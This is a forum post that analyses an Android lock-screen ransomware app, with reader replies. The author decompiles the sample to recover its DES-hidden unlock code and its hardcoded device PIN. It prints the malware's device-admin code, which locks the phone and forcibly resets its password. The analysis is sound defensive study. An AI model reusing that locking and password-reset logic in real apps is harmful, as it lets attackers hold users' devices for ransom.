吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 21614|回复: 43
收起左侧

[移动样本分析] 一款恶意锁屏软件的破解(简单的DES加密混淆)

  [复制链接]
ming莫 发表于 2017-8-23 22:49
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 ming莫 于 2017-8-23 23:17 编辑

0x01 打开恶意软件

打开该应用的时候提示激活设备管理器,一般的小白用户很容易会点击激活按钮
01.png

当点击激活之后,手机进入锁屏状态:
02.png

破解思路:找出解锁码的计算方式。

0x02 初步分析

拉入JEB2进行分析。
找到解锁按钮的点击事件:
03.png

代码的逻辑是从SharedPreference中获得“passw”的值,然后通过decrypt方法来解密出解锁码,跟用户输入的解锁码进行比对,正确则移除锁屏。
用adb命令把该app的shared_prefs文件夹拉到本地
adb pull /data/data/com.xcszsj/shared_prefs
04.png
05.png

得到passw的值为:ed3a2881de33133d700ecb6bb7b627a9

0x03 分析decrypt函数

decrypt函数是在DU类中实现的:

package com.xcszsj;

import java.security.Key;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class DU {
    private Cipher decryptCipher;
    private Cipher encryptCipher;
    private static String strDefaultKey;

    static final {
        DU.strDefaultKey = "national";
    }

    public DU(String str_flower) {
        DU v0 = this;
        super();
        v0.encryptCipher = null;
        v0.decryptCipher = null;
        DU v6 = v0;
        String v7 = str_flower;
        try {
            Key securekey = v6.getKey(v7.getBytes());  // securekey
            v0.encryptCipher = Cipher.getInstance("DES");
            v0.encryptCipher.init(1, securekey);
            v0.decryptCipher = Cipher.getInstance("DES");
            v0.decryptCipher.init(2, securekey);
        }
        catch(Exception v6_1) {
            v6_1.printStackTrace();
        }
    }

    public DU() throws Exception {
        this(DU.strDefaultKey);
    }

    public static String byteArr2HexStr(byte[] arg12) throws Exception {
        byte[] v0 = arg12;
        int v2 = v0.length;
        StringBuffer v3 = new StringBuffer(v2 * 2);
        int v4;
        for(v4 = 0; v4 < v2; ++v4) {
            int v5;
            for(v5 = v0[v4]; v5 < 0; v5 += 256) {
            }

            if(v5 < 16) {
                v3.append('0');
            }

            v3.append(Integer.toString(v5, 16));
        }

        return v3.toString();
    }

    public String decrypt(String arg9) throws Exception {
        return new String(this.decrypt(DU.hexStr2ByteArr(arg9)));
    }

    public byte[] decrypt(byte[] arg6) throws Exception {
        return this.decryptCipher.doFinal(arg6);
    }

    public String encrypt(String arg6) throws Exception {
        return DU.byteArr2HexStr(this.encrypt(arg6.getBytes()));
    }

    public byte[] encrypt(byte[] arg6) throws Exception {
        return this.encryptCipher.doFinal(arg6);
    }

    private Key getKey(byte[] arg12) throws Exception {
        byte[] v1 = arg12;  // flower.getbytes
        byte[] v3 = new byte[8];
        int v4;
        for(v4 = 0; v4 < v1.length; ++v4) {
            if(v4 >= v3.length) {
                break;
            }

            v3[v4] = v1[v4];
        }

        return new SecretKeySpec(v3, "DES");
    }

    public static byte[] hexStr2ByteArr(String arg14) throws Exception {
        byte[] v2 = arg14.getBytes();
        int v3 = v2.length;
        byte[] v4 = new byte[v3 / 2];
        int v5;
        for(v5 = 0; v5 < v3; v5 += 2) {
            v4[v5 / 2] = ((byte)Integer.parseInt(new String(v2, v5, 2), 16));
        }

        return v4;
    }
}

可以知道,这里使用了DES加密,所以接下来的关键就是找到加密的密钥。

0x04 解密

回到调用函数的对象
v0.this$0.des.decrypt this$0代表的是父对象,也就是s类:
06.png

分析des的生成:
07.png

作者故意多做了几个步骤来增加逆向的困难。下面看看DU的构造方法:

 public DU(String str_flower) {
        DU v0 = this;
        super();
        v0.encryptCipher = null;
        v0.decryptCipher = null;
        DU v6 = v0;
        String v7 = str_flower;
        try {
            Key securekey = v6.getKey(v7.getBytes());  // securekey
            v0.encryptCipher = Cipher.getInstance("DES");
            v0.encryptCipher.init(1, securekey);
            v0.decryptCipher = Cipher.getInstance("DES");
            v0.decryptCipher.init(2, securekey);
        }
        catch(Exception v6_1) {
            v6_1.printStackTrace();
        }
    }

在分析之前我特意百度了一下DES加密在Java中的实现。
v0.encryptCipher.init(1, securekey);

init方法第一个参数1代表加密,2代表解密;第二个参数是密钥。
后面可以通过调用encryptCipher的doFinal方法进行加密,调用decryptCipher的doFinal方法进行解密。

DU类的构造方法传入的是一个字符串,然后通过getKey方法获得密钥。
这里作者先是传入“flower”,通过getKey方法得到密钥:666c6f7765720000
然后用这个密钥解密c29fe56fa59ab0db,解密得到"xxx",
作者再将这个解密出来的字符串再次作为DU的构造参数传入得到新的DU对象。
同样的我们通过getKey方法得到新的密钥7878780000000000
现在我们可以解密0x02中得到的加密解锁码(ed3a2881de33133d700ecb6bb7b627a9)了。
解密得到:50003279,是本机ID5003280减一。

0x05 设备锁屏密码被修改了

找到MyAdmin类,这是处理设备管理器发送出来的消息的。

public class MyAdmin extends DeviceAdminReceiver {
    public MyAdmin() {
        super();
    }

    @Override public CharSequence onDisableRequested(Context arg13, Intent arg14) {
        String v7 = M.getsss(BAH.getString(arg13.getResources().openRawResource(2131099649)).replaceAll("\n", ""));
        this.getManager(arg13).lockNow();
        this.getManager(arg13).resetPassword(v7, 0);
        return super.onDisableRequested(arg13, arg14);
    }

    @Override public void onEnabled(Context arg20, Intent arg21) {
        Class v14;
        MyAdmin v0 = this;
        Context v1 = arg20;
        Intent v2 = arg21;
        String v7 = M.getsss(BAH.getString(v1.getResources().openRawResource(2131099649)).replaceAll("\n", ""));
        Intent v11 = null;
        Intent v12 = null;
        Context v13 = v1;
        try {
            v14 = Class.forName("com.xcszsj.s");
        }
        catch(ClassNotFoundException v11_1) {
            throw new NoClassDefFoundError(v11_1.getMessage());
        }

        super(v13, v14);
        v11.setFlags(268435456);
        v1.startService(v11);
        v0.getManager(v1).resetPassword(v7, 0);
        super.onEnabled(v1, v2);
    }

    @Override public void onPasswordChanged(Context arg13, Intent arg14) {
        String v7 = M.getsss(BAH.getString(arg13.getResources().openRawResource(2131099649)).replaceAll("\n", ""));  // ==wMzEDM
        this.getManager(arg13).lockNow();
        this.getManager(arg13).resetPassword(v7, 0);
        super.onPasswordChanged(arg13, arg14);
    }

    @Override public void onReceive(Context arg8, Intent arg9) {
        Log.i("------", "onReceive-----");
        super.onReceive(arg8, arg9);
    }
}

关键代码:

String v7 = M.getsss(BAH.getString(v1.getResources().openRawResource(2131099649)).replaceAll("\n", ""));
v0.getManager(v1).resetPassword(v7, 0);

v7就是新的锁屏密码。
搜索“2131099649“,未果;
搜索它的十六进制形式“0x7f060001
08.png
发现它是代表apk里的这个文件:
09.png
10.png

将BAH.getString导出来,执行一遍发现它只是把字符串“Cj09d016RURN“返回而已。
接下来分析M.getsss方法:

    public static final String getsss(String arg21) {
        String v2 = new String(Base64.encode("by:彼岸花 qq:1279525738".getBytes(), 0));
        CharSequence v3 = v2.subSequence(3, 4);
        CharSequence v4 = v2.subSequence(4, 5); //这里以上的代码可以导出执行,然后打印出v3和v4的值
        return new String(new String(Base64.decode(new StringBuffer().append(new StringBuffer(new String(Base64.decode(arg21.replaceAll(v3, "三生石畔").replaceAll(v4, "彼岸花开").replaceAll("三生石畔", v4).replaceAll("彼岸花开", v3).toString(), 0))).reverse()).append("").toString().toString(), 0)));
    }

这里作者故意混淆了一下,通过代码分析和运行测试,可以知道v3 = 6;v4 = 5;然后把“Cj09d016RURN”中的6换成5,然后第一次解码:
11.png

得到==wMyEDM,然后逆序为MDEyMw==,第二次解码:
12.png

得到锁屏密码0123

总结:该恶意APP通过随机数生成本机ID,然后用这个ID减一的值作为解锁码,并且在代码中通过各种加密解密来增加逆向的难度;而锁屏密码是通过Base64加密和其他方式混淆之后存放在文件中,每台机子都是一样的,解锁pin码为0123。

免费评分

参与人数 30威望 +1 吾爱币 +41 热心值 +30 收起 理由
zzz123ab + 1 + 1 用心讨论,共获提升!
策士 + 2 + 1 鼓励转贴优秀软件安全工具和文档!
小冬 + 1 + 1 已答复!
放火案 + 1 用心讨论,共获提升!
wingss + 1 + 1 谢谢@Thanks!
a476376832 + 1 + 1 我很赞同!
奋斗的小骚年 + 1 + 1 用心讨论,共获提升!
smais + 1 + 1 学习了,谢谢。
liphily + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
a5606495 + 1 + 1 谢谢@Thanks!
Three_fish + 1 + 1 谢谢@Thanks!
linzz + 1 + 1 用心讨论,共获提升!
陌路无人 + 2 + 1 用心讨论,共获提升!
snccwt + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
ryan515 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
夏雨微凉 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
qtfreet00 + 1 + 9 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
刺芯 + 1 + 1 用心讨论,共获提升!
打驴 + 2 + 1 学习了,支持楼主
woai5452045 + 1 + 1 用心讨论,共获提升!
SomnusXZY + 1 + 1 热心回复!
Maybe-sun + 1 + 1 谢谢@Thanks!
rasy520 + 1 + 1 用心讨论,共获提升!
孤独之悔 + 1 + 1 用心讨论,共获提升!
610100 + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
msoayu56 + 1 + 1 用心讨论,共获提升!
IceWind + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
Wb5201314 + 1 + 1 就喜欢这样的 有技术性
as6825010 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
GGbond + 1 + 1 热心回复!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

星心的泪 发表于 2017-8-24 00:56
本帖最后由 星心的泪 于 2017-8-24 00:58 编辑

搜索“2131099649“,未果;搜索它的十六进制形式“0x7f060001”。为什么要在7f060001加0x呢?哦。是表示7f060001是十六进制数啊?
SN1t2lO 发表于 2017-8-24 08:14
星心的泪 发表于 2017-8-24 00:56
搜索“2131099649“,未果;搜索它的十六进制形式“0x7f060001”。为什么要在7f060001加0x呢?哦。是表示7f ...

你猜的没错,0x就是十六进制的标识前缀,同理,二进制,八进制,十进制都有相应的前缀
凯文希特特 发表于 2017-8-23 22:51
shaokui123 发表于 2017-8-23 22:54
有没有样本,病毒运行什么界面
 楼主| ming莫 发表于 2017-8-23 23:01
从word导入的排版,不知道为什么出问题了
夜影无痕 发表于 2017-8-23 23:13
涨见识了
s7868605 发表于 2017-8-23 23:25
学习一下
yangjie 发表于 2017-8-23 23:53
楼主大神
6767 发表于 2017-8-24 00:23
放在java层的基本都能搞定
0123  
城会玩
太子爷_振 发表于 2017-8-24 00:40
软件安装的时候,就很明显是锁机了。小学生还会上当
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-3-29 23:51

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表